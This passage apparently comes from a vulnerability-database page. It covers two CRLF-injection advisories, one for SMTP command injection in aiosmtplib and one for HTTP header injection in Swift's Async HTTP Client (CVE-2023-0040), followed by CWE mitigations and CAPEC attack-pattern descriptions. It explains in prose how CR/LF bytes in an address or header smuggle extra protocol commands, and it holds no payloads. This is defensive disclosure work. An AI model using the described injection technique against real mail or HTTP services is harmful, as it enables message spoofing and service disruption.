  "details": "### Summary\n\n`aiosmtplib`\u0027s `SMTP.mail()`, `SMTP.rcpt()`, `SMTP.vrfy()` and `SMTP.expn()` send the caller-supplied email address to the server without rejecting embedded CR/LF (`\\r\\n`) bytes. An address that contains a CR/LF is written verbatim onto the SMTP control connection, so the bytes after the CRLF are framed by the server as one or more **additional, standalone SMTP command lines**. A caller that passes an attacker-influenced sender or recipient address into `mail()`/`rcpt()` (or `vrfy()`/`expn()`) therefore allows **SMTP command injection** (CWE-93 / CWE-77): the attacker can smuggle arbitrary SMTP verbs such as `MAIL FROM`, `RCPT TO`, `RSET`, `DATA`, or `AUTH` into the session. Injected commands will cause the `SMTP` instance to hang, but all commands required to complete the envelope could be sent in one address string.\n\nThe `SMTP.sendmail()` command will pass sender and recipient addresses verbatim through to `SMTP.mail()` \u0026 `SMTP.rcpt()`, and so is also vulnerable. `SMTP.send_message()` is not affected.\n\n### Impact\n\nSeverity: medium. Type: SMTP protocol command injection (CWE-93 \u2014 Improper Neutralization of CRLF Sequences; CWE-77 \u2014 Command Injection).\n\nWhen an application built on `aiosmtplib` derives the envelope sender or any recipient from data an attacker can influence (a web form etc.) and passes it to `mail()`/`rcpt()` (directly, or via `sendmail()`/`send()` without a `Message` object), the attacker can:\n\n- desynchronize the command/response pipeline and cause the aiosmtplib client to hang, resulting in a possible denial of service\n- inject multiple commands in one address to send an arbitrary message\n\nThe address only needs to reach `mail()`/`rcpt()`/`vrfy()`/`expn()`; no attacker control over the SMTP server is required.\n\n### Vulnerable versions\n\nAffected version: `aiosmtplib` 5.1.0 (latest at time of report) and all earlier releases.\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-v3q9-hj7j-63hq",
  "modified": "2026-07-07T23:40:52Z",
  "published": "2026-07-07T23:40:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cole/aiosmtplib/security/advisories/GHSA-v3q9-hj7j-63hq"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cole/aiosmtplib"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "aiosmtplib vulnerable to SMTP command injection via CR/LF in sender/recipient address"
}

GHSA-V3R5-PJPM-MWGQ

Vulnerability from github – Published: 2023-06-07 15:52 – Updated: 2023-06-07 15:52
VLAI
Summary
Async HTTP Client has CRLF Injection vulnerability in HTTP request headers
Details

Versions of Async HTTP Client prior to 1.13.2 are vulnerable to a form of targeted request manipulation called CRLF injection. This vulnerability was the result of insufficient validation of HTTP header field values before sending them to the network. Users are vulnerable if they pass untrusted data into HTTP header field values without prior sanitisation. Common use-cases here might be to place usernames from a database into HTTP header fields.

This vulnerability allows attackers to inject new HTTP header fields, or entirely new requests, into the data stream. This can cause requests to be understood very differently by the remote server than was intended. In general, this is unlikely to result in data disclosure, but it can result in a number of logical errors and other misbehaviours.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "SwiftURL",
        "name": "github.com/swift-server/async-http-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.13.0"
            },
            {
              "fixed": "1.13.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "SwiftURL",
        "name": "github.com/swift-server/async-http-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.10.0"
            },
            {
              "fixed": "1.12.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "SwiftURL",
        "name": "github.com/swift-server/async-http-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.0"
            },
            {
              "fixed": "1.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "SwiftURL",
        "name": "github.com/swift-server/async-http-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-0040"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-07T15:52:55Z",
    "nvd_published_at": "2023-01-18T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "Versions of Async HTTP Client prior to 1.13.2 are vulnerable to a form of targeted request manipulation called CRLF injection. This vulnerability was the result of insufficient validation of HTTP header field values before sending them to the network. Users are vulnerable if they pass untrusted data into HTTP header field values without prior sanitisation. Common use-cases here might be to place usernames from a database into HTTP header fields.\n\nThis vulnerability allows attackers to inject new HTTP header fields, or entirely new requests, into the data stream. This can cause requests to be understood very differently by the remote server than was intended. In general, this is unlikely to result in data disclosure, but it can result in a number of logical errors and other misbehaviours.",
  "id": "GHSA-v3r5-pjpm-mwgq",
  "modified": "2023-06-07T15:52:55Z",
  "published": "2023-06-07T15:52:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/swift-server/async-http-client/security/advisories/GHSA-v3r5-pjpm-mwgq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0040"
    },
    {
      "type": "WEB",
      "url": "https://github.com/swift-server/async-http-client/commit/7f05a8da46cc2a4ab43218722298b81ac7a08031"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/swift-server/async-http-client"
    },
    {
      "type": "WEB",
      "url": "https://github.com/swift-server/async-http-client/releases/tag/1.12.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/swift-server/async-http-client/releases/tag/1.13.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/swift-server/async-http-client/releases/tag/1.4.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/swift-server/async-http-client/releases/tag/1.9.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Async HTTP Client has CRLF Injection vulnerability in HTTP request headers"
}
Mitigation
Implementation

Avoid using CRLF as a special sequence.

Mitigation
Implementation

Appropriately filter or quote CRLF sequences in user-controlled input.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-81: Web Server Logs Tampering

Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.

← Back to the CWE list